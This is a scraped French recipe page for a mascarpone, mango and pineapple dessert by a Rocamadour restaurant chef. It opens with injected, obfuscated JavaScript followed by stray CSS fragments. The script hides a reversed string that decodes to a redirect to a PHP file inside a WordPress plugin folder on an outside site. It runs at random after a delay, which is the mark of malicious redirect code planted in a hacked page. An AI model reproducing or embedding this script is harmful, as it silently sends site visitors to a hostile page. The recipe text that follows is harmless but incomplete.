) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558805162608{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Christoffer BOOT, chef du restaurant « LE BELVEDERE » à Rocamadour – http://www.hotel-le-belvedere.fr
et membre des « Bonnes Tables du Lot »

Recette
Temps de préparation : 20 min

Temps de cuisson : 10 min

Ingrédient :
– 100 g de sucre semoule
– 100 g de sucre roux
– 500 g de crème liquide
– 100 g de farine
– 250 g de mascarpone
– 100 g de beurre fondu
– 100 g eau
– 60 g de noix haché
– 2 gousses de vanilles
– 2 mangues
– 1 ananas